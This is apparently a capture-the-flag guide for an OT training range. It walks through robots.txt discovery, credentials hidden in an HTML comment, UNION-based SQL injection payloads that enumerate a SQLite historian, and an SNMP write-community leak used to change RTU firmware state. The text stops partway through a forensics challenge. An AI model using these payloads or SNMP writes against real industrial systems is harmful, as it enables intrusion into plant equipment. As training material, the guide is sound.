Wired Village/Sysrupt V2/Challenges

8 challenges · 1800 pts

Challenges

Content on this page is reproduced from the SYSRUPT Portable OT Range V2 repository's own challenge guides, unchanged. Start with Initial Access, then work 01–08.

Initial Access — Hacking into the IT Server (before the OT)

Before starting the OT challenges, we need to gain access to the industrial web portal running on the target device. This is the IT foothold: get into the corporate/engineering console first, then pivot to the OT protocols the rest of the challenges live on.

The web server is available at 10.0.1.1 on TCP port 80. Our first task is to discover a hidden page, inspect its source code, and find the login credentials.

We can do this using either a web browser or curl.


Step 1: Access the Web Server

Method 1 — Web Browser

Open your browser and visit:

http://10.0.1.1

Method 2 — Terminal

curl -i http://10.0.1.1

This connects to the web server and displays its HTTP response — a plain corporate login gate.


Step 2: Discover robots.txt

Websites use robots.txt to tell search-engine crawlers which paths they should or should not access. Sometimes it also reveals interesting paths we can investigate.

Method 1 — Web Browser

Visit:

http://10.0.1.1/robots.txt

Method 2 — Terminal

curl http://10.0.1.1/robots.txt

Look through the output. You should discover:

User-agent: *
Disallow: /control
Disallow: /hist-config

Disallow is not access control — it's a polite request to crawlers, enforced by nothing. Those paths are just as reachable as any other. /control is the one we want next.


Step 3: Open the Hidden Control Page

Method 1 — Web Browser

Visit:

http://10.0.1.1/control

Once the page loads, press:

Ctrl + U

This opens the page's HTML source code. Search through the source for the username and password — the rendered page shows an "engineering maintenance notice" with no visible credentials.

Method 2 — Terminal

Retrieve the page source directly:

curl -s http://10.0.1.1/control

Read through the HTML and look for the login credentials.


Step 4: Find the Login Credentials

The /control page hides the credentials in an HTML comment — invisible on the rendered page, but right there in the source:

<!-- maintenance window: shared engineering account still active - eng / Rec0ncile!42 ... -->

So the credentials are:

Field Value
Username eng
Password Rec0ncile!42

Why are we doing this? A webpage contains more than what we see on screen. Its HTML source can hold comments, hidden elements, and other information not visible in the normal browser view. Here, inspecting the source reveals the credentials needed to access the portal.


Step 5: Log In to the Portal

Method 1 — Web Browser

  1. Go to the console root http://10.0.1.1/.
  2. Enter the username eng.
  3. Enter the password Rec0ncile!42.
  4. Click Sign In — you land on the operator HMI (/hmi).

Method 2 — Terminal using curl

The login form posts to /login with the fields user and pass. The ! in the password must be URL-encoded as %21 in the form body.

# authenticate and save the session cookie
curl -i -c cookies.txt -X POST 'http://10.0.1.1/login' \
  -d 'user=eng&pass=Rec0ncile!42'

# use the session cookie to reach the protected operator HMI
curl -i -b cookies.txt http://10.0.1.1/hmi

The cookies.txt file stores the authenticated session, which you then present on protected pages.


What We Learned

  • robots.txt can reveal interesting website paths.
  • /control is discovered through robots.txt.
  • Ctrl + U opens the HTML source of a webpage.
  • HTML source inspection can reveal information hidden from the normal page view (here, credentials in a comment).
  • curl lets us perform the same investigation directly from the terminal.
  • Cookies maintain an authenticated web session.

Objective: Discover /control, inspect its source, recover the login credentials (eng / Rec0ncile!42), and access the industrial web portal — your IT foothold before the OT challenges.

01

Historian SQL Injection

Hard

Points: 250

Protocol: HTTP
Target: HIST-04 Process Historian
IP Address: 10.0.1.1
Port: 9000/tcp


The Story

HIST-04 is a Process Historian. Think of it as a computer that remembers what happens inside an industrial plant.

It stores information such as:

  • Tank water levels.
  • Chlorine concentration.
  • Water temperature.
  • Pressure and flow rate.
  • Other important plant readings.

The historian has a webpage called Data Browser. This page allows users to search through recorded process information.

But there is a problem!

The search box does not properly check what users type. Instead of treating the input as normal text, the database may treat it as part of an SQL command.

This weakness is called SQL Injection.

Your job is to discover the historian webpage, find the login credentials, access the Data Browser, exploit the SQL Injection vulnerability, and retrieve the hidden flag.


Part 1 — Discover the Historian Webpage

Step 1 — Find the First Clue Using robots.txt

We know that the target device is running a web server at:

http://10.0.1.1

But we don't know where the Process Historian webpage is located.

Let's investigate the website.

What is robots.txt?

Websites commonly have a file called robots.txt.

It provides instructions to search engine crawlers about which parts of a website they should or should not access.

Sometimes, this file also reveals interesting website paths that are not directly linked on the homepage.

Open this address

http://10.0.1.1/robots.txt

What should you do?

  1. Open your web browser.
  2. Enter the address above.
  3. Read the contents of the file.
  4. Look for any interesting paths related to the historian.
Show result and explanation

Result

The robots.txt file contains a clue pointing towards:

/hist-config

What does this tell us?

We have discovered another webpage on the target server.

The next step is to investigate this path.

Remember: robots.txt is not a security mechanism. It does not prevent users from opening the paths listed inside it.


Step 2 — Investigate the Historian Configuration Page

We discovered /hist-config in the previous step.

Now let's open it.

Open this address

http://10.0.1.1/hist-config

What should you do?

  1. Open the address in your browser.
  2. Read the information displayed on the page.
  3. Look for clues about the Process Historian.
  4. Find the next webpage address and the login credentials.
Show result and explanation

Result

The configuration page provides information that leads us to the Process Historian login page.

It also contains the username and password required to access the application.

Use the credentials displayed on your challenge instance.

What does this tell us?

We have discovered:

  • Where the historian application is located.
  • The credentials needed to access it.

We can now move to the login page.


Step 3 — Open the Historian Login Page

Now that we have discovered the webpage and login credentials, let's access the application.

Open this address

http://10.0.1.1/hist

What should you do?

  1. Open the address in your browser.
  2. You should see the HIST-04 login page.
  3. Enter the username discovered in Step 2.
  4. Enter the password discovered in Step 2.
  5. Log in to the application.

After logging in, look for a tab called:

Data Browser

What is the Data Browser?

The Data Browser is a page that allows users to search through the historian's stored process data.

It contains a filter field called:

source

Normally, this field is used to search for records based on their source name.

For example, you might enter:

WaterTank

The application then searches for records related to that source.

This is the field we are going to investigate for SQL Injection.

Show result and explanation

Result

You should now be inside the Process Historian application, with access to the Data Browser.

What does this tell us?

We have successfully discovered and accessed the historian.

We can now begin testing its search field for SQL Injection.


Part 2 — Exploit the SQL Injection Vulnerability

What Is SQL Injection?

Before continuing, let's understand what SQL Injection means.

Imagine a website has a search box.

Normally, you type:

WaterTank

The website searches the database for records related to WaterTank.

But what if you type something that looks like a database command?

The website might accidentally execute it instead of treating it as normal text.

That is SQL Injection.

In this challenge, we will use SQL Injection to:

  1. Check whether the search box is vulnerable.
  2. Find how many columns the database query returns.
  3. Discover the database tables.
  4. Discover the columns inside the hidden table.
  5. Retrieve the hidden flag.

Step 4 — Check Whether the Search Box Is Vulnerable

Before extracting anything, we need to confirm that SQL Injection actually works.

Query

Enter this into the source field:

' OR '1'='1

What does this query do?

Let's break it into small parts:

  • ' — Closes the text value that the application may have started.
  • OR — Tells the database that either condition can be true.
  • '1'='1 — Compares 1 with 1. This condition is always TRUE.

In simple words, we are telling the database:

"Show me the records if the source matches my search OR if 1 equals 1."

Since 1=1 is always true, the database may return many more records than a normal search.

What should you look for?

Compare the results with a normal search term.

If the number of records changes significantly, or records appear that do not match your search, the input may be injectable.

Show result and explanation

Expected observation

The query should cause the application to return a different set of records from a normal source search.

What does this tell us?

It suggests that the application is putting our input directly into its SQL query instead of safely treating it as text.

This means we may be able to control parts of the database query.

SQL Injection confirmed — continue to the next step.


Step 5 — Find the Number of Columns

Now that we have confirmed the injection point, we need to understand the structure of the original database query.

What is a column?

Think of a database table like an Excel spreadsheet.

  • A row is one complete record.
  • A column is one type of information.

For example:

ID SOURCE TEMPERATURE
1 Tank-A 28
2 Tank-B 30

Here, the table has three columns.

Why do we need the column count?

We are going to use something called UNION SELECT.

UNION SELECT combines the results of two database queries.

But there is one important rule:

Both queries must return the same number of columns.

For example, if the original query returns 10 columns, our injected query must also return 10 columns.

Query

Enter:

' UNION SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL--

What does this query do?

Let's break it down:

  • ' — Closes the original text value.
  • UNION SELECT — Tries to combine our query with the original query.
  • NULL — Represents an empty value. We use it as a placeholder because we do not know the column types yet.
  • Ten NULL values — Our attempt to match the original query's ten columns.
  • -- — Tells SQLite to ignore the remaining part of the original SQL statement.

If the query works without a column-count error, we have found the correct number of columns.

If it gives an error, adjust the number of NULL values until the query works.

Show result and explanation

Expected observation

When the number of columns matches the original query, the UNION query should execute without a column-count mismatch error.

What does this tell us?

We have identified the number of columns required by the original query.

We can now use those column positions to retrieve information from other database tables.


Step 6 — Discover the Database Tables

Now we know how many columns the original query returns.

The next question is:

What tables exist inside the database?

Remember, a database can contain many tables, just like an Excel workbook can contain multiple sheets.

The backend in this challenge uses SQLite.

SQLite has a special table called sqlite_master.

This table stores information about the database structure, including table names and their creation statements.

Query

Enter:

' UNION SELECT name, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM sqlite_master WHERE type='table'--

What does this query do?

Let's break it down:

  • ' — Closes the original text value.
  • UNION SELECT — Combines our results with the original query.
  • name — Asks SQLite to show the names of database objects.
  • NULL — Fills the remaining columns because our original query expects ten columns.
  • FROM sqlite_master — Reads information from SQLite's database structure table.
  • WHERE type='table' — Shows only objects that are tables.
  • -- — Ignores the remaining part of the original query.

In simple words:

"Go through the database's list of tables and show me their names."

Show result and explanation

Expected observation

The result should contain the names of tables stored in the database.

Look carefully for a table named:

flags

What does this tell us?

The flags table looks interesting because it does not belong to the normal process-history data we expected.

It may contain the hidden challenge flag.

We now need to discover what information is stored inside this table.


Step 7 — Discover the Columns Inside the Flags Table

We found a table called flags.

But we do not yet know what information it contains.

For example, it might have columns such as:

id flag description
1 hidden-value challenge flag

We need to confirm the actual column names.

Query

Enter:

' UNION SELECT sql, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM sqlite_master WHERE type='table' AND name='flags'--

What does this query do?

Let's understand it:

  • sql — Requests the SQL statement used to create the table.
  • FROM sqlite_master — Reads the database structure information.
  • WHERE type='table' — Searches only for tables.
  • AND name='flags' — Selects only the table named flags.
  • NULL — Fills the remaining columns.
  • -- — Ignores the rest of the original query.

Remember that sqlite_master stores the original CREATE TABLE statement.

For example, a table might have been created using:

CREATE TABLE flags (
    id INTEGER,
    flag TEXT,
    description TEXT
);

This tells us that the table has three columns:

  • id
  • flag
  • description

Our actual database may have a different definition, so read the result carefully.

Show result and explanation

Expected observation

The result should show the CREATE TABLE statement for the flags table.

For example:

CREATE TABLE flags (
    id INTEGER,
    flag TEXT,
    description TEXT
)

What does this tell us?

We now know the column names and their order.

For this example:

  1. id stores the record ID.
  2. flag stores the hidden flag.
  3. description stores a description.

We can now use these column names to retrieve the actual data.


Step 8 — Retrieve the Hidden Flag

We have completed the important discovery steps:

  • We found an injectable search field.
  • We identified the required column count.
  • We discovered the database tables.
  • We found the flags table.
  • We identified its columns.

Now we can retrieve the contents of the table.

Query

Enter:

' UNION SELECT id, flag, description, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM flags--

What does this query do?

Let's break it down:

  • ' — Closes the original text value.
  • UNION SELECT — Combines our results with the original query.
  • id — Retrieves the record ID.
  • flag — Retrieves the hidden flag.
  • description — Retrieves the description.
  • NULL — Fills the remaining seven columns.
  • FROM flags — Reads the information from the flags table.
  • -- — Ignores the remaining part of the original query.

In simple words:

"Open the flags table and show me the ID, flag, and description."

Show result and explanation

Expected result

The Data Browser should display records from the flags table.

Look for the value in the flag column.

That value is the challenge flag.

What does this tell us?

We successfully used SQL Injection to access information from a table that was not intended to be available through the normal Data Browser search.

Challenge completed!


What You Learned

By completing this challenge, you learned:

  1. robots.txt discovery: How to investigate a web server and find paths that are not directly linked on its homepage.
  2. Web enumeration: How to follow clues from one webpage to another.
  3. SQL Injection: How unsafe input handling can allow users to change a database query.
  4. Testing an injection point: How a simple condition such as '1'='1 can help identify a vulnerable search field.
  5. UNION SELECT: How to combine results from different database queries.
  6. Column counting: Why both sides of a UNION query need the same number of columns.
  7. SQLite enumeration: How sqlite_master can reveal database tables and their definitions.
  8. Data extraction: How knowing a table's structure helps retrieve its contents.

Main Lesson

A search box should only accept search values. It should never allow users to change the SQL commands executed by the application.

The main security problem in this challenge is unsanitized user input.

A safer application uses parameterized SQL queries. These keep user input separate from SQL commands, preventing input from being interpreted as executable SQL.

Also, robots.txt should never be used to protect sensitive webpages. Login credentials and configuration information must be properly protected.

In a real industrial environment, a process historian may contain sensitive information about plant operations. Protecting its database is important because attackers could use exposed information to understand the plant and plan further attacks.

02

Field Device Recovery

Hard

Points: 250

Protocol: SNMP (v2c)
Target: RTU-07
IP Address: 10.0.1.1
Port: 161/UDP
Toolkit module: None — use standard Net-SNMP tools.


The Story

RTU-07 is a Remote Terminal Unit (RTU) used in an industrial environment.

Think of an RTU as a small computer that communicates with industrial equipment and collects information from the plant.

After an incident, RTU-07 starts behaving incorrectly. Its firmware image appears to be corrupted.

The device reports:

[IMAGE CORRUPT - recovery required]

Luckily, the device has its own recovery system that can be controlled using SNMP.

However, there is a problem: we don't know the password required to perform the recovery operation.

The device has stored this password inside one of its SNMP information fields.

Your job is to:

  1. Check whether the device is unhealthy.
  2. Find the SNMP write community.
  3. Enter recovery mode.
  4. Restore the last-known-good firmware image.
  5. Return the device to normal mode.
  6. Verify that the device is healthy.
  7. Retrieve the recovery flag.

About the Protocol — SNMP

SNMP stands for Simple Network Management Protocol.

It is used to monitor and manage network devices.

For example, administrators can use SNMP to:

  • Check whether a device is running.
  • Read device information.
  • Monitor network interfaces.
  • Check system health.
  • Change certain device settings.

SNMP uses information fields called OIDs.

What is an OID?

OID stands for Object Identifier.

Think of an OID as an address that points to a particular piece of information inside a device.

For example:

1.3.6.1.2.1.1.1.0

This OID points to sysDescr, which contains the device description.

Two important SNMP commands

We will mainly use two commands.

1. snmpget

Used to read information from a device.

Example:

snmpget -v2c -c public 10.0.1.1 1.3.6.1.2.1.1.1.0

2. snmpset

Used to change information on a device.

Example:

snmpset -v2c -c COMMUNITY 10.0.1.1 OID i VALUE

Understanding the command options

Option Meaning
-v2c Uses SNMP version 2c.
-c public Specifies the SNMP community string.
10.0.1.1 IP address of the target device.
OID Identifies the information we want to read or change.
i Tells SNMP that the value being written is an integer.

What is a community string?

A community string works like a password for SNMP access.

In this challenge, we have two community strings:

  • public — Allows us to read information.
  • r3c0v3ry-07 — Allows us to perform recovery operations.

Understanding the Recovery OIDs

The device provides a special recovery section in its SNMP database.

Its base OID is:

1.3.6.1.4.1.42424

Here are the important OIDs:

OID Name Meaning
.1.0 fwRecoveryMode Controls recovery mode. 1 = recovery mode, 0 = normal mode.
.2.0 fwRunningImage Shows the firmware image currently running.
.3.0 fwLastGoodImage Shows the last-known-good firmware image.
.4.0 fwRestoreImage Used to select the firmware image to restore.
.5.0 deviceHealth 1 = healthy, 0 = unhealthy.
.9.0 recoveryFlag Contains the recovery flag after successful recovery.

Important: The firmware image values are integers, not strings. Therefore, we must use i when writing the image number.


Step 1 — Check Whether the RTU Is Unhealthy

Before changing anything, we need to understand the current condition of the device.

We will use snmpget to read four values:

  1. Device description.
  2. Device health.
  3. Currently running firmware image.
  4. Last-known-good firmware image.

Commands

Run these commands in your terminal:

snmpget -v2c -c public 10.0.1.1 1.3.6.1.2.1.1.1.0

snmpget -v2c -c public 10.0.1.1 1.3.6.1.4.1.42424.5.0

snmpget -v2c -c public 10.0.1.1 1.3.6.1.4.1.42424.2.0

snmpget -v2c -c public 10.0.1.1 1.3.6.1.4.1.42424.3.0

What do these commands do?

Command 1 — Read the device description

snmpget -v2c -c public 10.0.1.1 1.3.6.1.2.1.1.1.0
  • snmpget asks the device for information.
  • -v2c selects SNMP version 2c.
  • -c public uses the read community.
  • 10.0.1.1 is the RTU's IP address.
  • 1.3.6.1.2.1.1.1.0 points to sysDescr.

This tells us what firmware or system description the device is reporting.

Command 2 — Check device health

snmpget -v2c -c public 10.0.1.1 1.3.6.1.4.1.42424.5.0

This reads deviceHealth.

  • 0 means unhealthy.
  • 1 means healthy.

Command 3 — Check the running firmware

snmpget -v2c -c public 10.0.1.1 1.3.6.1.4.1.42424.2.0

This reads fwRunningImage.

It tells us which firmware image the device is currently using.

Command 4 — Check the last-good firmware

snmpget -v2c -c public 10.0.1.1 1.3.6.1.4.1.42424.3.0

This reads fwLastGoodImage.

It tells us which firmware image the device considers safe and working.

Show result and explanation

Actual Result

iso.3.6.1.2.1.1.1.0 = STRING: "Sysrupt RTU-07 firmware img=9001 [IMAGE CORRUPT - recovery required]"
iso.3.6.1.4.1.42424.5.0 = INTEGER: 0
iso.3.6.1.4.1.42424.2.0 = INTEGER: 9001
iso.3.6.1.4.1.42424.3.0 = INTEGER: 341

Understanding the result

Let's understand what we found.

1. Device description

Sysrupt RTU-07 firmware img=9001 [IMAGE CORRUPT - recovery required]

The device itself tells us that its current firmware image is corrupted.

2. Device health

INTEGER: 0

The value is 0, which means the device is unhealthy.

3. Running image

INTEGER: 9001

The device is currently running firmware image 9001.

4. Last-good image

INTEGER: 341

The device remembers that firmware image 341 was its last-known-good image.

What does this tell us?

We have found the problem:

Information Value
Current firmware 9001
Last-good firmware 341
Device health 0 — Unhealthy

Our goal is to restore image 341.

Important: Do not try to write directly to fwRunningImage. It is read-only. We must use the recovery procedure.


Step 2 — Find the SNMP Write Community

We can read information using the public community, but we need a different community string to change the device's settings.

Where can we find it?

The challenge tells us that the write community is stored inside sysContact.

What is sysContact?

sysContact is a standard SNMP field that normally stores contact information about the person or team responsible for managing a device.

For example, it might contain:

Network Administrator

But in this challenge, the device has also stored its SNMP write community string there.

Command

snmpget -v2c -c public 10.0.1.1 1.3.6.1.2.1.1.4.0

What does this command do?

  • snmpget reads information from the device.
  • -v2c selects SNMP version 2c.
  • -c public uses the read community.
  • 10.0.1.1 is the target RTU.
  • 1.3.6.1.2.1.1.4.0 points to sysContact.

In simple words:

"Read the contact information stored inside the RTU."

Show result and explanation

Actual Result

iso.3.6.1.2.1.1.4.0 = STRING: "OT maintenance <noc@sysrupt.local>; SNMP write community: r3c0v3ry-07"

Understanding the result

The output contains two pieces of information:

  • Contact: OT maintenance <noc@sysrupt.local>
  • SNMP write community: r3c0v3ry-07

We have now discovered the community string required to perform SNMP SET operations.

Our write community is:

r3c0v3ry-07

Keep this value. We will use it in the next steps.


Step 3 — Enter Recovery Mode

Now that we have the write community, we can start the recovery process.

But before restoring the firmware, we must put the device into recovery mode.

What is recovery mode?

Think of recovery mode as a special maintenance mode.

The device temporarily leaves its normal operating mode so that recovery operations can be performed.

According to the challenge:

  • 0 = Normal run mode.
  • 1 = Recovery mode.

We need to change fwRecoveryMode from 0 to 1.

Command

snmpset -v2c -c r3c0v3ry-07 10.0.1.1 1.3.6.1.4.1.42424.1.0 i 1

What does this command do?

Let's break it down:

  • snmpset — Changes a value on the device.
  • -v2c — Uses SNMP version 2c.
  • -c r3c0v3ry-07 — Uses the write community we discovered in Step 2.
  • 10.0.1.1 — Target RTU.
  • 1.3.6.1.4.1.42424.1.0 — Points to fwRecoveryMode.
  • i — Tells SNMP that we are writing an integer.
  • 1 — Sets recovery mode to ON.

In simple words:

"Tell the RTU to enter recovery mode."

Show result and explanation

Actual Result

iso.3.6.1.4.1.42424.1.0 = INTEGER: 1

Understanding the result

The device returned:

INTEGER: 1

This means the value was successfully changed to 1.

The RTU is now in recovery mode.

We can now restore the firmware image.


Step 4 — Restore the Last-Known-Good Firmware

Remember what we discovered in Step 1?

Firmware Image ID
Current corrupted image 9001
Last-known-good image 341

We need to restore image 341.

Important: Why don't we write to fwRunningImage?

The fwRunningImage OID is read-only.

That means we cannot directly change its value.

Instead, the device provides another OID called fwRestoreImage.

We write the firmware image number into fwRestoreImage, and the device performs the restoration.

Command

snmpset -v2c -c r3c0v3ry-07 10.0.1.1 1.3.6.1.4.1.42424.4.0 i 341

What does this command do?

  • snmpset — Writes a value to the device.
  • -v2c — Uses SNMP version 2c.
  • -c r3c0v3ry-07 — Uses the write community.
  • 10.0.1.1 — Target RTU.
  • 1.3.6.1.4.1.42424.4.0 — Points to fwRestoreImage.
  • i — Specifies that the value is an integer.
  • 341 — Selects the last-known-good firmware image.

In simple words:

"Tell the RTU to restore firmware image 341."

Why do we use i instead of s?

SNMP supports different data types.

  • i means Integer.
  • s means String.

Even though 341 looks like a firmware version, the device stores it as an integer.

Therefore, we must use:

i 341

Not:

s 341
Show result and explanation

Actual Result

iso.3.6.1.4.1.42424.4.0 = INTEGER: 0

Understanding the result

The device accepted the SET operation.

The fwRestoreImage OID is write-only. It is designed to accept a restore request, and its read-back value is always 0.

So seeing:

INTEGER: 0

does not mean that the firmware restoration failed.

We must verify the actual running image later.


Step 5 — Return the RTU to Normal Mode

We have requested the firmware restoration.

Now we need to take the device out of recovery mode.

Remember:

  • 1 = Recovery mode.
  • 0 = Normal run mode.

Command

snmpset -v2c -c r3c0v3ry-07 10.0.1.1 1.3.6.1.4.1.42424.1.0 i 0

What does this command do?

  • snmpset — Changes a device setting.
  • -v2c — Uses SNMP version 2c.
  • -c r3c0v3ry-07 — Uses the write community.
  • 10.0.1.1 — Target RTU.
  • 1.3.6.1.4.1.42424.1.0 — Points to fwRecoveryMode.
  • i — Specifies an integer.
  • 0 — Turns recovery mode OFF and returns the device to normal mode.

In simple words:

"Tell the RTU to leave recovery mode and start operating normally."

Show result and explanation

Actual Result

iso.3.6.1.4.1.42424.1.0 = INTEGER: 0

Understanding the result

The device returned:

INTEGER: 0

This means recovery mode has been disabled.

The RTU is now back in normal run mode.

However, we still need to check whether the firmware restoration was successful.


Step 6 — Wait Until the Device Becomes Healthy

After leaving recovery mode, the RTU needs a few seconds to check its firmware.

It compares:

  • The currently running firmware image.
  • The last-known-good firmware image.

If they match and the device is in normal run mode, its health status becomes 1.

Instead of checking only once, we will repeatedly check until the device becomes healthy.

Command

until [ "$(snmpget -v2c -c public -Ovq 10.0.1.1 1.3.6.1.4.1.42424.5.0)" = "1" ]; do
    sleep 1
done

What does this command do?

Let's understand it part by part.

1. until

This tells Linux to keep repeating something until a condition becomes true.

2. snmpget

Reads the device health value.

3. -Ovq

This option tells SNMP to print only the value, without the OID name and data type.

For example, instead of:

iso.3.6.1.4.1.42424.5.0 = INTEGER: 1

It prints only:

1

4. = "1"

Checks whether the returned health value is equal to 1.

5. sleep 1

Waits for one second before checking again.

In simple words:

"Keep checking the RTU every second until its health value becomes 1."

Show result and explanation

Expected Result

The command will keep running while the device health is 0.

Once the device reports 1, the loop stops.

This means the RTU has completed its health validation.

Note: Your terminal output did not separately show the result of this polling command. The next step will help us verify the final device state.


Step 7 — Verify the Firmware and Retrieve the Flag

Now we need to confirm that the firmware was actually restored.

We will read two OIDs:

  1. fwRunningImage — To check the currently running firmware.
  2. recoveryFlag — To retrieve the challenge flag.

Command 1 — Check the running firmware

snmpget -v2c -c public 10.0.1.1 1.3.6.1.4.1.42424.2.0

What does this command do?

It reads the firmware image currently running on the RTU.

We expect it to show:

341

That would mean the device is now running the last-known-good firmware.

Command 2 — Check the device health

snmpget -v2c -c public 10.0.1.1 1.3.6.1.4.1.42424.5.0

What does this command do?

It reads deviceHealth.

  • 0 means unhealthy.
  • 1 means healthy.

We need this value to be 1 before considering the recovery fully verified.

Command 3 — Retrieve the recovery flag

snmpget -v2c -c public 10.0.1.1 1.3.6.1.4.1.42424.9.0

What does this command do?

It reads the recoveryFlag OID.

The challenge stores the flag here after successful recovery.

Show result and explanation

Actual Result

iso.3.6.1.4.1.42424.1.0 = INTEGER: 0
iso.3.6.1.4.1.42424.2.0 = INTEGER: 341
iso.3.6.1.4.1.42424.9.0 = ""

Understanding the result

1. Recovery mode

INTEGER: 0

The device is no longer in recovery mode.

2. Running firmware image

INTEGER: 341

This is important!

Initially, the running firmware was 9001.

Now it is 341.

That means the RTU is running the last-known-good firmware image.

3. Recovery flag

""

The recovery flag returned an empty string.

This means the firmware restoration appears successful, but the flag has not been returned by this OID in the output we captured.

Do not treat the empty string as the flag.

Final status

Check Initial value Final value
Running firmware 9001 341
Last-good firmware 341 341
Recovery mode — 0
Recovery flag — Empty

Firmware restoration: Verified by the running image.

Recovery flag: Not retrieved yet.


What You Learned

By completing this challenge, you learned:

  1. SNMP basics: How to communicate with network devices using SNMP.
  2. SNMP GET: How to read information from a device using snmpget.
  3. SNMP SET: How to change device settings using snmpset.
  4. Community strings: How SNMP uses community strings to control access.
  5. OID enumeration: How to identify useful information stored inside a device.
  6. Firmware recovery: How to use a device's built-in recovery mechanism.
  7. SNMP data types: Why it is important to check whether an OID expects an integer or a string.
  8. Health verification: Why we should verify the device's actual state instead of assuming that a successful SET means the entire operation is complete.

Main Lesson

SNMP is commonly used to monitor and manage industrial devices.

However, exposing sensitive information through SNMP can create security problems.

In this challenge, the device exposed its write community string inside the standard sysContact field.

An attacker who can read that field can discover credentials that allow them to change device settings.

This demonstrates why:

  • Sensitive credentials should never be stored in publicly readable SNMP fields.
  • Read and write access should be properly restricted.
  • SNMP community strings should be protected.
  • Device recovery operations should be monitored and authenticated.
  • Device health should always be verified after recovery.

In a real industrial environment, unauthorized changes to an RTU's firmware or operating state could affect the monitoring and control of industrial equipment.

03

Trojan Historian

Medium

Points: 150

Type: Defensive · Points: 150 · Surface: Web (/mail, /evidence, /investigate) on TCP 80 · Toolkit module: None — plain curl


The Story

HIST-04, the plant's process historian, has been compromised. A trojan deliberately deleted a sample from the TURBINE.VIB vibration trend to hide evidence of suspicious activity.

However, the nightly backup still contains the original data. The challenge is that genuine communication outages have also created missing samples, making it difficult to identify the malicious deletion.

Your mission is to investigate the incident, compare the live trend with the backup, recover the exact missing value, and restore the record through the investigation portal.

Be careful: the restored record must remain stable for approximately 10 seconds before the challenge is marked complete.

Important: Some missing records are caused by genuine communication outages. We must compare the live trend and backup instead of assuming every gap is malicious.


Step 1: Access the Webmail and Retrieve the Evidence

Hint

Start by accessing the webmail portal. The IR email contains information about the compromised historian and the backup evidence attachment.

1.1 Identify the login endpoint

Initially, accessing /mail returned:

HTTP/1.1 302 Found
Location: /

This means the portal redirected us to the login page because authentication was required.

We retrieved the login page HTML:

curl -i -L "http://10.0.1.1/evidence?f=historian_backup"

The HTML revealed the login form:

<form class=card method=POST action=/login>
<input name=user>
<input name=pass type=password>

This tells us: - Login endpoint: /login - Username parameter: user - Password parameter: pass

1.2 Login using curl

curl -i -c cookies.txt -X POST 'http://10.0.1.1/login' \
  -d 'user=eng&pass=Rec0ncile!42'

What this command does:

  • -i displays HTTP response headers.
  • -c cookies.txt saves the session cookies.
  • -X POST sends a POST request.
  • -d sends the login form data.
  • Single quotes prevent Bash from interpreting the ! character in the password.

1.3 Access the evidence attachment

After authentication, use the saved cookies:

curl -i -b cookies.txt \
  "http://10.0.1.1/evidence?f=historian_backup"

To save the evidence into a file:

curl -s -b cookies.txt \
  "http://10.0.1.1/evidence?f=historian_backup" \
  -o hist.txt

cat hist.txt
Show result and explanation

The evidence was successfully retrieved.

The response contained two separate exports:

Export 1 — LIVE TREND

# historian export 1/2 - LIVE TREND (HIST-04)
# columns: tag,seq,value,quality
TURBINE.VIB,50,701,Good
TURBINE.VIB,52,728,Good
TURBINE.VIB,54,751,Good
TURBINE.VIB,55,760,Good
TURBINE.VIB,56,772,Good
TURBINE.VIB,58,795,Good

Export 2 — NIGHTLY BACKUP

# historian export 2/2 - NIGHTLY BACKUP (HIST-04, all monitored tags)
# columns: tag,seq,value,quality
REACTOR.TEMP,50,312,Good
PUMP.FLOW,50,488,Good
TURBINE.VIB,50,701,Good
REACTOR.TEMP,51,314,Good
PUMP.FLOW,51,492,Good
REACTOR.TEMP,52,311,Good
PUMP.FLOW,52,490,Good
TURBINE.VIB,52,728,Good
REACTOR.TEMP,53,315,Good
PUMP.FLOW,53,495,Good
TURBINE.VIB,53,742,Good
...

Understanding the columns:

Column Meaning
Tag Name of the monitored signal
Seq Sequence number of the sample
Value Recorded measurement
Quality Quality status of the sample

The backup contains multiple monitored tags, but our target is only TURBINE.VIB.


Step 2: Compare the Live Trend and Nightly Backup

Hint

The backup contains multiple tags, so we need to compare only the TURBINE.VIB records.

We are looking for a sequence number that exists in the backup but is missing from the live trend.

2.1 Extract the sequence numbers

First, separate the live trend and backup sequence numbers:

awk '/LIVE TREND/{s=1} /NIGHTLY BACKUP/{s=2}
     /^TURBINE.VIB/{split($0,a,","); if(s==1) print a[2] > "live_seq"; else print a[2] > "bkp_seq"}' hist.txt

What this command does:

  • awk reads the historian export line by line.
  • When it finds LIVE TREND, it starts collecting live records.
  • When it finds NIGHTLY BACKUP, it starts collecting backup records.
  • ^TURBINE.VIB selects only the vibration records.
  • split($0,a,",") separates the CSV fields.
  • a[2] extracts the sequence number.
  • The sequence numbers are saved into separate files.

2.2 Display both sequence lists

sort -n live_seq
echo "---"
sort -n bkp_seq
Show result and explanation

Live trend sequence numbers:

50
52
54
55
56
58

Nightly backup sequence numbers:

50
52
53
54
55
56
58

Notice that sequence number 53 is present in the backup but missing from the live trend.

2.3 Find the missing record automatically

comm -13 <(sort live_seq) <(sort bkp_seq)

What this command does:

  • comm compares two sorted files.
  • -13 hides lines unique to the first file and lines common to both.
  • It displays only the lines present in the second file but missing from the first.
Show result and explanation

Actual output:

53

This confirms that sequence number 53 exists in the nightly backup but is missing from the live trend.

Why are the other missing sequence numbers not malicious?

The live trend has gaps at:

51, 53, 57

However, the backup also lacks 51 and 57.

This means those two records were already missing from the backup, indicating genuine communication outages.

Sequence 53 is different because the backup still contains it.

Therefore:

Deleted sequence number = 53


Step 3: Recover the Original Deleted Value

Hint

Now that we have identified sequence number 53, retrieve its original measurement directly from the nightly backup.

Do not calculate or guess the value.

3.1 Search for sequence number 53

grep '^TURBINE.VIB,53,' hist.txt

What this command does:

  • grep searches for matching text in the file.
  • ^TURBINE.VIB ensures the line starts with the correct tag.
  • ,53, selects sequence number 53.
Show result and explanation

Actual output:

TURBINE.VIB,53,742,Good

We have recovered the original record.

Field Recovered value
Tag TURBINE.VIB
Sequence number 53
Original value 742
Quality Good

Deleted record:

  • Sequence number: 53
  • Value: 742

Step 4: Restore the Deleted Record

Hint

The challenge provides a Record Findings form at /investigate.

The form submits the following parameters to /submit:

  • ch=trojan
  • seq — missing sequence number
  • value — original recorded value

We must submit the exact sequence number and value recovered from the backup.

4.1 Submit the recovered record

curl -i -b cookies.txt -c cookies.txt -X POST http://10.0.1.1/submit \
